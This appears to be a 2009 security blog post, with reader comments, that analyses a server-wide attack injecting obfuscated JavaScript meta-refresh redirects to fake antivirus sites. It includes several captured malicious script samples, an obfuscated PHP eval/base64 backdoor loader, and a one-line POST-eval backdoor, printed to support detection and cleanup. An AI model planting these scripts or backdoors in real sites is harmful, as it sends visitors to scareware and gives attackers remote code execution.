Unmask Parasites - Check your web pages for hidden links, iframes, malicious scripts, unauthorized redirects and other signs of security problems.
Loading site search ...

Goscanpark: 13 Facts About Malicious Server-Wide Meta Redirects.

   23 Jul 09   Filed in Website exploits

I’ve discovered a new emerging malware attack today. Actually two attacks, but in this post I’ll review only one of them – server-wide goscanpark .com/goscansoon .com meta redirects.

I discovered this attack when checked Unmask Parasites logs. I noticed that many unrelated websites contained the same suspicious script so I decided to investigate this issue. The investigation is not complete yet but I think the information I’ve already collected will be useful for owners of compromised web sites. And I hope the missing parts will be added by you, the readers. Update ( July 27, 2009) : the comments are really very informative. make sure to read them.

Fact #1. This exploit is well detected by Unmask Parasites (this is how I discovered it).  When you check compromised sites, you will see a report with one suspicious inline script and without any external references.

goscanpark script

Fact #2. You won’t see any external references even when your web pages link to external sites because the malicious content replaces the original content of the web pages (it is not injected as a part of your web pages).

Fact #3. The original content of the web pages is not lost (overwriten). When you open your site in a web browser, in many cases you’ll see the original content intact (and no malicious code at all).

Fact #4. The malicious content is not served all the time. When you view the site in a web browser, you have more chances to be served with a legitimate original content. However when you use tools like wget or Unmask Parasites, there chances that the response will be malicious is higher. I guess it’s has to do with cookies and the User-Agent header.

Fact #5. The malicious code is not always the same.  There are two modifications:

1. This is what Unmask Parasites and tools like wget see:

<script type="text/javascript" language="javascript"> var tpet=new Date( ); tpet.setTime(tpet.getTime( )+030*074*074*01750); document.cookie="sessi\x6f\x6eid=\x33912860\x35A531\x3b p\x61th=\x2f; e\x78pi\x72es\x3d"+tpet.toGMTString( ); </script>

This code only sets a cookie that expires in one day (they use octal numbers in the expression):

sessionid=39128605A531; path=/; expires=Fri, 24 Jul 2009 14:19:37 GMT

2. However when you load the same pages in a web browser (I used Firefox 3 with NoScript), the code is different:

script type="text/javascript" language="javascript"> var qugdma=new Date( ); qugdma.setTime(qugdma.getTime( )+014*074*074*01750); document.cookie="s\x65\x73sioni\x64=3912\x38605A5\x331;\x20pat\x68=/;\x20ex\x70ir\x65s="+qugdma.toGMTString( ); var toij=new Array("http\x3a//gosca\x6epark,c\x6fm/?u\x69d=12\x3802"); var klgkd=Math.floor(Math.random( )*toij.length); pwiluh(toij[klgkd]); function pwiluh(gqoa){document.writeln("\x3cME\x54\x41 H\x54TP-EQU\x49V=\047Ref\x72esh\x27 C\x4fNTE\x4eT=\x270;\x20U\x52L="+gqoa+"\x27>"); document.writeln("\074\x6deta\x20\150\x74tp-eq\x75iv=\x27prag\x6da\047 co\x6eten\x74=\x27no\x2dca\x63he\x27>"); document.writeln("\x3cmeta \x6e\141\x6de=\047\162\x6fbot\x73\047\x20co\x6ete\x6et=\x27no\x69nd\x65x\x2cno\x66o\x6clo\x77\047\076"); } </script>

This code injects meta tags that instruct your web browser to open a malicious site:

<META HTTP-EQUIV='Refresh' CONTENT='0; URL=hxxp://goscanpark,com/?uid=removed'>
<meta http-equiv='pragma' content='no-cache'>
<meta name='robots' content='noindex,nofollow'>

Fact #6. Goscanpark is a bogus  Antivirus site. It distributes scareware (presumably packed with other trojans).  You can read about this sort of sites and how they trick unsuspecting visitors into installing their fake AV scanners (and then paying for them) in my older articles that I posted this winter.

Fact #7. Unlike previous attacks that redirected only search engine traffic, this one can redirect any visitor. That’s why it can be easier detected by site owners who rarely use search engines to visit their own sites.

Fact #8. However the fact that the exploit is easier to detect doesn’t mean it is easier to remove. This is not a .htaccess exploit. And it’s not a redirect HTTP header injected by some server script. The attack uses client side redirects via a META tag’s Refresh command instead of any type of server-side redirects. It doesn’t seem to modify files.

Fact #9. The malicious code seems to be served by some PHP script. The HTTP headers of the malicious responses contain lines like “X-Powered-by: PHP/5.2.6” while static content doesn’t have such headers.

Fact #10. This is a server-wide exploit.  I checked three different servers in three different locations (The UK, Czechia and Singapore). They all hosted multiple (from dozens to hundreds) websites sharing the same IP. And on about 80% of those websites, I found the goscanpark redirect code. I guess I didn’t find the malicious code on all sites only because of the intermittent nature of the exploit. And yes, most web sites were unrelated to each other (different owners). This reminds me of the Beladen server-wide exploit. Hackers must be using the same vulnerability.

Fact #11. Actually this exploit seems to be a successor of the Beladen exploit.  On a safe browsing diagnostic page of one site I discovered the following message:

Malicious software is hosted on 3 domain(s), including beladen .net/, googleanalytlcs .net/, globalsecurityscans .com/.

1 domain(s) appear to be functioning as intermediaries for distributing malware to visitors of this site, including googleanalytlcs .net/.

This is a sign of the Beladen attack. And I know that it was a server-wide exploit and all sites on the compromised server were affected. It looks like the backdoor script is still there and hackers used it to upload scripts for a new type of attack.

Fact #12. There are multiple domain names involved in this attack. In addition to goscanpark .com, on some servers the malicious code may redirect visitors to goscansoon .com, goslimscan .com, goscansome .com, securityexamineonline .comglobalsecurityscans .com, safetyshareonline .com, likeshoe .info, engaolika .infoneborin .info, fan6scan .com, scanriteweb .com, gagtemple .infoneatsore .inforideth .infoina6co .com, razing .info, scanwebtech .comin5id .com, theise .infolicens .info, pridge .infominist .infocheapsecurityscan .com, worldbestonlinescan9 .com, justseethisonline .comsecurityreadonline .combotchy .info, best-virus-scanner5 .com, indianapolis-sales .com, securityproductsupply .com, securitytoolonline .com, senioradviceblog .com, nabobil .net, a-a-access .com, overviewforexbids .com, delete-all-virus01 .com, usdisturbed .cn, freetvnews2 .com, mycomputer-scannerp .com, wwwonlinescanner .com, read-cnn2 .com, winfixscanner9 .com, mycomputertotalscann11 .com, mycomputerbestscan11 .com, mycomputer-scanner1a .com, mycomputerfastscan11 .com, hollistergrany .cn, dolce-unt-gabbana .com, makkahintro .com, mytotalscan16 .com, my-garden-state .com, cradleoffilthfan .com, armysun3 .com, try-your-destiny .cn, forex-hideouts .com,  (the list is not complete).

Fact #13. Google doesn’t always detect this exploit. On checked servers, some sites were marked as suspicious, while other (with the same scan date on their Safe Browsing diagnostic pages) weren’t. It’s either because some of the domain names no longer resolve (goscanpark .com) or because of the elusive nature of the exploit (the same was with the Beladen exploit detection).

Anyway, if the issue is not resolved all sites can be blacklisted soon.

Attack scheme

Now let me tell you how this exploit might work.

I assume this attack is indeed similar to the Beladen attack or it is its successor.

  1. A local computer of some site owner got infected with malware.
  2. The malware managed to steal FTP credentials of the site owner and uploaded a PHP backdoor script to some directory of that guy’s web site.
  3. Later, hackers used that backdoor script to upload malicious payload that would exploit security holes in the underlying system (PHP, Apache, Linux).
  4. As a result, a malicious process is started. This process can hijack Apache requests and return malicious content to web browsers instead of real web pages.

You can find more details about this Linux Apache attack in this great article.

How to resolve the issue.

If your site is affected by this attack, do the following:

  1. Contact you server admin (most likely it will be your hosting provider) ASAP! It’s a server-wide exploit and unless you were the one who infected the whole server, you can’t do anything about it yourself.
  2. Many hosting providers still don’t know anything about this sort of exploits so send them links to the following articles:
  3. Scan your own computer for malware. Then change your site passwords. It might happen that you were that poor site admin who infected the whole server.

Call for information

My research is not complete. I’d like to hear from owners of affected sites and from server admins of compromised web servers. You can probably provide missing information about the attack or correct me if something in my article is not accurate.  I’m also interested in any information about the vulnerability that makes this nasty attack possible. Any comments are welcome.

Update (October 15, 2009):  There is a new modification of a backdoor PHP script that obfuscates the eval and base64_decode calls so that it can’t be found with a simple regexp. Thanks Thomas J. Raef

<?php $PyIqJDl='#####e##############################v###a####l(b########a####s###e###########6##4##########_##d###eco###d####e#######(#\'ZXJyb3JfcmVwb3J0aW5nKDApOwokbWQ ***a lot of encoded text removed here for brevity*** Yz1iYXNlNjRfZGVjb2RlKCRjKTsKZXZhbCgkYyk7Cn0=\'));';
$PyIqJDl=str_replace('#', '', $PyIqJDl);$OOxbqtu=create_function('',$PyIqJDl);$OOxbqtu(); ?>

Comments round up

July 27, 2009: At this point we have a few interesting comments:

Thomas J. Raef shared his client findings. On the affected shared server with 1,200 web sites they found a bogus “crontab” process run as user “nobody”. When they killed the process, the attack stopped.

jamie also found those bogus crontab processes, then traced the /proc logs and identified the compromised account.  Then he checked POST requests in access logs and located the backdoor scripts.

Chris posted his access logs with the POST requests that presumably started the attack.

Great comment from To: who shared

  • the compromised server configuration,
  • commands that can reveal backdoor scripts,
  • examples of malicious responses (including spoofed HTTP headers that don’t mach the server configuration),

Thanks guys! Your comments make this post really informative and useful.

Similar posts:

If you like this blog you might want to subscribe to free updates: RSS / Email / Twitter

Reader's Comments (85)

  1. |

    […] またか&tm; ———- Another Inj3cti0n Goscanpark: 13 Facts About Malicious Server-Wide Meta Redirects. I’ve discovered a new emerging malware attack today. Actually two attacks, but in this post […]

  2. |

    I am a victim of the exploit. Is there any way that i can remove the uploaded file?

    if the malware puts a file in the web serverm is there any way that i can remove that file?

    what is the first website that has been infected?

    • |

      To remove the uploaded (backdoor) file, you should locate it first. This can be very tricky if your server contains hundreds of web sites and you don’t know what you are looking for.

      And to identify the point of penetration you should detect the malicious process and then follow system logs. You can read about it in the Linux Apache Attack article. Of course, only your server admin can do it.

  3. |

    I’ve seen a lot of this in my organization. Malzilla does a good job decoding the traffic. I’ve only seen a handful where the attacker really went the extra mile to utilize math variables to bury the attack code, most simple use substitution methods with simple variables such as a=”href” b=”www”, et al.

  4. |

    I have the same problem. I have checked all my files but there is no file infected with this.

    • |

      Did you report the issue to your server admin?

      • |

        Yes, I have send the links above to my hoster. But he means all the described security holes are not exist on the server.

        • |

          How can he know it all these articles describe the attack and the security hole is not yet identified. We know that it exists but we don’t know where exactly it is.

          Anyway, you might also want to show him this Thomas’ comment

          If your hosting provider doesn’t acknowledge the problem, consider moving your site to another location.

  5. |

    I think the most difficult thing about this is finding it. I have no idea what I’m looking for if the process isn’t obviously running.

    • |

      I know. It took a couple of weeks to finally track the malicious process when this blog was on a shared hosting plan on a Beladen-infected server some time ago.

      However the Beladen attack was much more elusive than this one. And I hope it will be easier to identify the malicious processes and then find the compromised account using server logs. Of course, this should be done by a server admin.

      If you have SSH access as a limited user, you can only try different variations of ps command:
      ps -A and ps -ef

  6. |


    I thought I’d share with your what we’ve found.

    We worked with a hosting provider where this was affecting about 1,200 websites all on one shared server.

    Turns out it was a compromised domain on the shared server, we’re still checking to see how “they” got in, but a binary called “crontab” was uploaded to the server and run as user “nobody” (the same as apache). The attacker then deleted the file leaving it only running in memory. When the process was running, the malscript was inserted. When they killed the process, it did not startup again (because there was no more binary) and the malscript inserts stopped where before they could be duplicated over and over again.

    They have since modified system wide permissions and added the crontab process to their list of monitored processes under the user “nobody”.

    We are still going through all the logs and such but that is what we’ve found so far.

    • |

      Thanks Thomas,

      This information about the malicious “crontab” process can be really useful for tracing the problem on other compromised servers.

      By the way, did they managed to locate where this “crontab” binary was uploaded to? Did they check the “/proc/ ” before they killed the process? Most likely it was under the compromised user account account.

      It looks like hackers will be using this vulnerability again and again until it is patched. So it is really important to identify what makes this exploit possible.

      • |

        As far as I know, their team looked all over the server. I don’t know that they specifically looked in /proc/ but I’ll find out and let you know.

        There have been a lot of strange website “infections” lately that can’t be explained and where it seems nobody can find the infectious code on a site.

        We started building lists of websites on the same IP address and testing all of them. If they all seem to serve up the same type code, then we know it’s a server level breach.

        We were finding websites infected with this that Google didn’t even find – yet. Luckily for the site owners.

        I’ll keep digging and report back here with what is found.

        • |

          In my experience, Google never scans 70% of sites on shared servers, so no wonder that most affected websites are not blacklisted yet.

          • |

            In addition to that, the infection only shows itself sometimes. We’ve had to view the same website 8 to 10 times before we see the infectious code.

            This one’s very evasive.

        • |

          I have this exact problem and really appreciate the information you are providing! Please keep us updated on any new discoveries. Does anyone know where “they” are uploading the crontab executable to? My server tech support staff is trying to get to the bottom of it but as you know it is very difficult to track. Any additional information would be very helpful.

          • |

            What I’ve been able to determine is that the crontab binary doesn’t actually exist after it has been run.

            however, if you can determine the working directory of the crontab process via the /proc directory, you will find out exactly where your attack file is. And believe me, they make it blend in well.

  7. |

    It’s not clear to me, Is it injecting scripts in my website or is it redirecting any webpages to malware sites?

    • |

      Did you contact your server admin?

      There is nothing wrong with web sites. The whole web server is hijacked. It serves malicious content instead of real requested web pages. Only server admins can resolve the issue.

  8. |

    Oh my god. This damn trojan. I think this trojan randomly infect sites.

    When I visit a html document on my site, there ist no redirect, visit I the same html document again it can be that I redirected to neborin oder an other infected site. When I visit the same site once again the redirect is no longer available.

    • |

      Yes, you get the redirect on random requests. It’s the nature of this attack.

      BTW, do you mean the site in your signature or some other site?

      • |

        Yes, this is the site in the signature. I have cleaned now all php session on the server. Can you try to click some pictures on the site an tell me please if the site are still infected.

        I have downloaded all files from the server and scanned them, but my scanner found nothing. After that I checked all file sizes, that are all ok, too. I do not know what I should do.

        • |

          I don’t see anything suspicious. I checked a dozen of other sites on your server – no redirects.

          However you should be aware that this problem temporarily goes away when Apache (or the whole server) is restarted. But only until hackers reactivate the attack.

          • |

            This fucking redirects are back. Today I testing some of my sites and now one site redirect me to
            scanonlinedirect , com / scan,php ?affid=18801. Denis can you test some of my sites again, I think after a few clicks you will become a redirect.

          • |

            This means that your hosting provider haven closed the security hole.

            Once hackers reactivate the attack using the uploaded backdoor script, your site (and all sites on your server) start redirecting to bad sites.

            And as you can see, hackers use different domain name on every reactivation.

            Show this jamie’s comment to your hosting provider.

          • |

            I have send all links to my hoster (with Jamies comment), but he means I am using uncertain software. I have checked the MYSQL Databases, all php/html files, compare all files on the server. Nothing to found. Additionaly I checked all files on my PC, Rootkit Check, Zip Files, nothing to found.

            I have now denied the access for the IP 203.117.68. in the htaccess file. If you need more IPs from singapore, tell me, then I will publish it here. Now I try to check my site again. When the problem comes back I will reporting it.

  9. |

    Denis, thank you for testing and the link. I have no good feeling. I cannot explain myself how this attack works.

  10. |

    I have the same redirect on my server. It has blacklisted one of my sites as of July 21, 8AM. It is now spread to every single of my 60 domains on my server. I have backed up and taken down every file, changed passwords (server, admin and ftp) and picked through the files to find where this is coming from. In every single domain – even if it is just an html file saying “Site down for Maintenance”, the redirect is still there.
    All I can be grateful for at this point is that “goscanpark” is down so they can’t hand out viruses.
    Has anyone found the file / folder / place where this is happening?
    Does anyone know how to stop it yet?

    Anything would be helpful!

  11. |

    I’ve just finally found it on my server as well… I found 2 instances of crontab running but when you look via /proc, the actually location of the crontab binary no longer exists. However, that was enough to give me a clue as to where to look.

    I looked for POST requests in that users web logs and was able to locate the files that were being used to activate.

    You can give your server a good workout by grep’ing for instant-zero in any files in the webroots. That’s what they’re calling.

    The files are realy simple though and I haven’t quite figured out where the crontab binary is coming from…

    • |

      and for what it’s worth, the file size was 2877 bytes (I found 2 of them).

      The surprising thing is that the datestamps are 2009-04-26 and 2009-04-27

      • |

        They could have been used for the Baladen attack this May. It was even more difficult to detect so you could have missed it.

  12. |

    more info…

    the web activations are originating from Singapore.

    Another signature in the weblogs shows the browser type as:

    “” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toolbar)”


    • |

      We are seeing the same issue. It has similarities to what you are saying, this is what we saw in the access_log files:

      access_log.processed.2: - - [20/Jul/2009:23:02:17 +0100] "POST /test/php/test.php HTTP/1.1" 200 326 "" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toolbar)"
      access_log.processed.2: - - [20/Jul/2009:23:02:20 +0100] "POST /test/php/test.php HTTP/1.1" 200 12774 "" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toolbar)"

      access_log.processed.2: - - [22/Jul/2009:12:32:10 +0100] "POST /test/php/test.php HTTP/1.1" 200 326 "" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toolbar)"
      access_log.processed.2: - - [22/Jul/2009:12:32:12 +0100] "POST /test/php/test.php HTTP/1.1" 200 11165 "" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toolbar)"

      access_log: - - [24/Jul/2009:11:46:44 +0100] "POST /test/php/test.php HTTP/1.1" 200 327 "" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toolbar)"
      access_log: - - [24/Jul/2009:11:46:46 +0100] "POST /test/php/test.php HTTP/1.1" 200 11438 "" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toolbar)"

      1. this is from an IP in Singapore
      2. it is a POST request to a PHP file which doesn’t do anything (it’s the Plesk default test.php file which just demonstrates PHP works, it doesn’t do anything as such).
      3. we have the same bogus referrer of and user agent, etc

      I saw this occurring at almost the same time when the issue started happening. We restarted Apache and the issue was resolved, then 2 days later it happened again and coincidentally (or not) the same POST requests were in the logs.

      Is this similar to what you’re seeing, jamie?

      • |

        The 2 files I found were on different client’s web servers. They are exactly the same with date stamps a day apart. The were quite well hidden image directories using the same naming pattern as the images but with a php extension.

        The file is the exact script found here

      • |

        note that the bomb in this one is actually located in the first 2 lines and if it isn’t word wrapping, you won’t see it.

  13. |

    Jamie, do you have an ip / iprange adress from the attackers?

  14. |

    Hey, thought I would update as well, I was unable to find processes running, so I did a find -name *.php | xargs -i grep -H “instant-zero” {} which found the problem scripts.


    • |

      Thank you, Thank you, Thank you!!! I found the script on my server using your find command! It was exactly as described. An image file in a folder full of images with a php extension and the same name as one of the images. This particular vhost does not use any php so I was not even looking there. I was focusing on sites with lots of php code. Thank you again for posting the answer! Now I have to continue beefing up the security of the server so it won’t happen again.

      Best regards,

  15. |

    Hi all,

    Thanks for many information. I was looking for more information about this hack and finally found this very useful blog post. Hereby you can find some more information about the same hack on one of our servers.

    1. Our server configuration: we are using CentOS 4.5 (Final), Apache 2.0.59 and PHP 5.2.9 in a virtual environment (using Plesk 8.6 and Virtuozzo 4).

    2. I was able to find the infected files using
    grep -H "eval(base64_decode" /var/www/vhosts/* -R | cut -d: -f1 > /tmp/results_scan
    cat /tmp/results_scan | sort | uniq > /tmp/results_scan2
    vi /tmp/results_scan2

    3. When the malicious content was produced, one of the following HTTP-answers were sent (I replaced the “” characters by “[” and “]”):
    HTTP/1.1 200 OK
    Date: Mon, 20 Jul 2009 22:06:33 GMT
    Server: Apache
    X-Powered-By: PHP/5.2.6
    Content-Length: 943
    Connection: close
    Content-Type: text/html; charset=UTF-8

    [script type="text/javascript" language="javascript"] var djweeg=new Date( ); djweeg.setTime(djweeg.getTime( )+014*074*074*01750); document.cookie="\163ess\x69onid=3\x3912860\x35A531\x3b pa\x74h=/\x3b e\x78pir\x65s\x3d"+djweeg.toGMTString( ); var cmlwaee=new Array("\x68ttp:\x2f57\x73af\x65tysha\x72eon\x6cine\x2ecom\x2fhi\x74in\x2eph\x70?l\x61nd\x3d3\x30&\x61ff\x69d=\x3188\x300","\x68ttp\x3a\x2f/g\x6fscans\x6fon.c\x6fm/?u\x69d=1\x3280\x30"); var vvdjcpn=Math.floor(Math.random( )*cmlwaee.length); szcbddb(cmlwaee[vvdjcpn]); function szcbddb(kqcsyo){document.writeln("74META HT\x54P-EQU\x49V=47\x52e\x66res\x6847\x20C\x4fNTE\x4eT\x3d4760\x3b \x55R\x4c="+kqcsyo+"\x27>"); document.writeln("\x3cmeta \x68\x74t\x7055\x65qui\x76=47\160\x72ag\x6da47 co\x6ete\x6et=\x27n\x6f-c\x61c\x68e47>"); document.writeln("74me\x74\x61 n\x61me=47\x72ob\x6fts\x27 con\x74en\x74=47noi\x6ede\x78,n\x6ff\x6fll\x6fw\x27>"); } [/script]


    HTTP/1.1 200 OK
    Date: Wed, 22 Jul 2009 11:36:19 GMT
    Server: Apache
    X-Powered-By: PHP/5.2.6
    Content-Length: 938
    Connection: close
    Content-Type: text/html; charset=UTF-8

    [script type="text/javascript" language="javascript"] var qchur=new Date( ); qchur.setTime(qchur.getTime( )+014*074*074*01750); document.cookie="s\x65\x73sio\x6eid=39\x3128605\x41531\x3b pa\x74h=\x2f; e\x78pi\x72es\x3d"+qchur.toGMTString( ); var resnq=new Array("\x68ttp:\x2f\x2fs\x65curity\x65xami\x6eeon\x6cine\x2eco\x6d/h\x69ti\x6e.p\x68p?\x6ca\x6ed=\x330\x26af\x66id\x3d18\x3800","\x68ttp://g\x6f\163\x63anp\x61rk.c\x6fm/?\x75id=\x31280\x30"); var jxpqsw=Math.floor(Math.random( )*resnq.length); didgp(resnq[jxpqsw]); function didgp(ydahy){document.writeln("74META H\x54TP-EQ\x55\111\x56=47\x52e\x66res\x6847\x20\x43ON\x54EN\x54=\x270; \x55R\x4c="+ydahy+"47\x3e"); document.writeln("74\x6deta \x68ttp-eq\x75iv=47\160\x72agm\x6147\x20\x63ont\x65n\x74=47no\x2dca\x63h\x6547>"); document.writeln("74meta\x20\156\x61\155\x65=47\x72ob\x6fts\x27 con\x74en\x74=\x27noi\x6ede\x78,\x6eof\x6fl\x6cow\x27>"); } [/script]


    HTTP/1.1 200 OK
    Date: Fri, 24 Jul 2009 10:50:50 GMT
    Server: Apache
    X-Powered-By: PHP/5.2.6
    Content-Length: 1222
    Connection: close
    Content-Type: text/html; charset=UTF-8

    [script type="text/javascript" language="javascript"] var uqbgrgt=new Date( ); uqbgrgt.setTime(uqbgrgt.getTime( )+014*074*074*01750); document.cookie="sessio\x6e\x69d=39\x3162\x3860\x35A53\x31; p\x61th\x3d/; \x65x\x70ir\x65s="+uqbgrgt.toGMTString( ); var aautni=new Array("\x68\164\x74\160\x3a//sca\x6e\162\x69tew\x65b.c\x6fm/\x68iti\x6e.p\x68p?\x6ca\x6ed=\x330\x26af\x66i\x64=\x318\x3801","\x68ttp://\x73\x63a\x6e\162\x69tewe\\x6d/hi\x74in\x2ephp\x3fla\x6ed\x3d30\x26af\x66i\x64=\x3188\x302"); var pkzjuk="\x63a,co\x2c\x64a\x2c\144\x65,cy,e\x6c,en\x2eeo,\x65s,\x66i,f\x72,g\x61,\x69t,\x6aa,\x6ai\x2ck\x6e,n\x6c,n\x6f,p\x74,s\x76"; var jltgp=navigator.language || navigator.systemLanguage; var lang=jltgp.toLowerCase( ); lang=lang.substr(0,2); var dcox=0; if (pkzjuk.indexOf(lang)==-1)dcox=1; qeljhyu(aautni[dcox]); function qeljhyu(wwny){document.writeln("\x3cMETA \x48\124\x54P-EQU\x49V=47\122\x65fre\x73h47 CO\x4eTE\x4eT=\x270;\x20U\x52L="+wwny+"4776"); document.writeln("74meta htt\x70-equi\x76=47\x70ra\x67ma47 co\x6eten\x74=\x27no\x2dca\x63h\x6547>"); document.writeln("\x3cmeta\x20\156\x61me=47robot\x7347\x20c\x6fnte\x6et=\x27no\x69nd\x65x,\x6eo\x66ol\x6co\x774776"); } [/script]


    HTTP/1.1 200 OK
    Date: Sat, 25 Jul 2009 19:28:46 GMT
    Server: Apache
    X-Powered-By: PHP/5.2.6
    Content-Length: 1297
    Connection: close
    Content-Type: text/html; charset=UTF-8

    [script type="text/javascript" language="javascript"] var eruqqr=new Date( ); eruqqr.setTime(eruqqr.getTime( )+014*074*074*01750); document.cookie="sessio\x6eid=\x33912860\x35A531;\x20pat\x68=/;\x20ex\x70ire\x73="+eruqqr.toGMTString( ); var lmub=new Array("\x68ttp\x3a\x2f/g\x6fparks\x63an.c\x6fm/?\x75id=\x31280\x30","\x68ttp://sc\x61nritew\\x2fhit\x69n.p\x68p?l\x61nd\x3d30&af\x66i\x64=1\x388\x301"); var sgpxat="ca,co,\x64a,de,cy\x2cel,en\x2eeo,es\x2cfi,\x66r,g\x61,i\x74,ja\x2cj\x69,k\x6e,n\x6c,n\x6f,\x70t\x2csv"; var zlng=navigator.language || navigator.systemLanguage; var lang=zlng.toLowerCase( ); lang=lang.substr(0,2); if (sgpxat.indexOf(lang)==-1){pgnrof( ); }else {var rybeiv=Math.floor(Math.random( )*lmub.length); tnvy(lmub[rybeiv]); }function tnvy(szwdyzp){document.writeln("\x3cMETA\x20\110\x54TP-E\x51UIV=\x27Refr\x65sh\x27 CO\x4eTEN\x54=\x270; \x55R\x4c="+szwdyzp+"\x27>"); document.writeln("\x3cmeta \x68\164\x74p-equ\x69\166\x3d47\x70r\x61gm\x6147\x20\x63on\x74en\x74=\x27no\x2dc\x61ch\x654776"); document.writeln("\x3cmeta\x20\x6ea\x6d\145\x3d47\x72ob\x6fts47 co\x6ete\x6et=\x27no\x69nd\x65x,\x6eo\x66ol\x6co\x7747\x3e"); }function pgnrof( ){tnvy("http:/\x2fscanri\x74eweb.c\x6fm/hi\x74in.\x70hp?\x6cand\x3d30\x26af\x66id\x3d1\x3880\x32"); } [/script]


    HTTP/1.1 200 OK
    Date: Sun, 26 Jul 2009 06:54:40 GMT
    Server: Apache
    X-Powered-By: PHP/5.2.6
    Content-Length: 1342
    Connection: close
    Content-Type: text/html; charset=UTF-8

    [script type="text/javascript" language="javascript"] var owtot=new Date( ); owtot.setTime(owtot.getTime( )+014*074*074*01750); document.cookie="\x73\x65ssi\x6f\x6ei\x64=3912\x38605\x41531\x3b pa\x74h=/\x3b e\x78p\x69re\x73="+owtot.toGMTString( ); var kcgais=new Array("\x68ttp://\x67\157\x70arks\x63an.c\x6fm/?\x75id=\x31280\x30","http\x3a57\x2fscan\x6fnlined\x69rec\\x6d/hi\x74in\x2eph\x70?l\x61nd\x3d30\x26a\x66fi\x64=\x3188\x301"); var hylqhhy="\x63a,co\x2c\x64a\x2c\144\x65,cy,\x65l,en\x2eeo\x2ces,\x66i,\x66r,\x67a,\x69t,\x6aa\x2cji\x2ck\x6e,n\x6c,n\x6f,p\x74,s\x76"; var jtfmj=navigator.language || navigator.systemLanguage; var lang=jtfmj.toLowerCase( ); lang=lang.substr(0,2); if (hylqhhy.indexOf(lang)==-1){xkqoc( ); }else {var bhkjx=Math.floor(Math.random( )*kcgais.length); xkbv(kcgais[bhkjx]); }function xkbv(ewci){document.writeln("\x3c\x4dETA H\x54TP-EQU\x49V=47Ref\x72esh\x27 CO\x4eTE\x4eT=\x270; \x55R\x4c="+ewci+"47>"); document.writeln("\x3cmet\x61\x20ht\x74p-equ\x69v=47\160\x72agm\x614740\x63on\x74e\x6et=\x27no\x2dc\x61ch\x6547>"); document.writeln("\x3cme\x74\141 \x6eame=47robo\x74s47\x20c\x6f\x6ete\x6et=\x27no\x69nd\x65x,\x6eo\x66ol\x6co\x7747>"); }function xkqoc( ){xkbv("http\x3a//scano\x6elinedi\x72ect.\x63om/\x68iti\\x70?l\x61nd\x3d30\x26af\x66i\x64=1\x388\x302"); } [/script]

    If you decode this, you get:
    [script type="text/javascript" language="javascript"]
    var qchur=new Date( );
    qchur.setTime(qchur.getTime( ) 014*074*074*01750);
    document.cookie="sessionid=39128605A531; path=/; expires=" qchur.toGMTString( );
    var resnq=new Array("hxxp://","hxxp://");
    var jxpqsw=Math.floor(Math.random( )*resnq.length);
    function didgp(ydahy){
    document.writeln("[MEATA HTTP-EQUIV='Refresh' CONTENT='0; URL=" ydahy "']");
    document.writeln("[meta http-equiv='pragma' content='no-cache']");
    document.writeln("[meta name='robots' content='noindex,nofollow']");

    As you can see, the HTTP headers are spoofed as we are using PHP 5.2.9 instead of PHP 5.2.6.

    4. All modified files where uploaded/edited by the owner of the vhost, not by the Apache user. Like Jamie‘s case the files all were edited at April 28th 2009, but was only since July 18th used for hacking. These files were in the same directory as an outdated version of Textpattern (a CMS) with chmod 777 on it, which makes it unclear for me if there is a relation between the hack and security bugs in this CMS. There was no brute force attack (our server runs BFD to prevent these attacks) and the password was way to difficult to be found by guessing.

    5. We found the same IP address as Chris: - - [26/Jul/2009:08:54:34 +0200] "POST /textpattern/txpsql.php HTTP/1.1" 200 182 "" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toolbar)" - - [26/Jul/2009:08:54:36 +0200] "POST /textpattern/txpsql.php HTTP/1.1" 200 7611 "" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toolbar)"

    I hope this information can be helpful for others.

    • |

      Could you please tell me what I have to do to delete it from my server? or just deleting all found files?

      Thank you very much.
      lim, Thailand

      Edit by Denis: I removed your site from the signature since it still redirects to malicious sites

      • |


        First run
        grep -H "eval(base64_decode" /var/www/vhosts/* -R | cut -d: -f1 > /tmp/results_scan
        cat /tmp/results_scan | sort | uniq > /tmp/results_scan2
        cat /tmp/results_scan2

        to scan you server and find potentially damaged files. You will get a list with files (or nothing if the search had no results). For all of them, check
        1) the last modified date with ls -alh /path/to/file
        2) the content of the file using vi /path/to/file

        If you can find something like
        /*a24f599776b11aaa584de2c85583e5af*/if(isset($_POST["p"])&&$_POST["p"]=="c6cf810c4f3adfd5b7558003a0687b2c"){eval(base64_decode($_POST["c"]));exit;}/*a24f599776b11aaa584de2c85583e5af*/ in the file, it was hacked. Move it to somewhere outside the webroot (for example to /root/) or remove it. Finally restart the Apache process.

        Good luck!

        • |

          There is some warning or error for the first command;

          cut: invalid byte, character or field list
          Try ‘cut –help’ for more information

          Here is the command
          grep -H “eval(base64_decode” /var/www/vhosts/* -R | cut -d: -fl > /tmp/result_scan

          Could you please tell me what’s wrong? I will post the result in the next 9 hours. (my next morning).

          Thank you for your help.

          • |

            The character after the “-f” option is the number one (“1″), not a lower-case “L”. Try again with
            grep -H "eval(base64_decode" /var/www/vhosts/* -R | cut -d: -f1 > /tmp/results_scan.

          • |

            And just to be sure: don’t copy paste the dot on the end of the last command, thus:
            grep -H "eval(base64_decode" /var/www/vhosts/* -R | cut -d: -f1 > /tmp/results_scan

  16. |


    Can you accumulate the version of Apache that these infected servers are running?

    We’ve been looking at this in further detail and trying to draw some direct connections between all of them.

    When thinking about this, if the process running is operating as the same user as Apache, then the code injection has to be through the Apache process. If we’re wrong on this, someone please speak up.

    So that means that “they” (the hackers, cybercriminals, whoever) know of a vulnerability in Apache that the rest of us don’t know about.

    This is purely speculation at this point, so if anyone has further information or ideas about our speculation, please share.

    • |


      I second this request. I am alarmed at the fact that there is a vulnerability and we have no idea what the cure is. Yes we have blocked the Singapore IP, but if someone else from a different IP was to perform the same exploit, we would be dead in the water.

      In our case we are as follows:

      httpd.x86_64 2.2.3-11.el5_1.centos.3
      CentOS release 5.3 (Final)

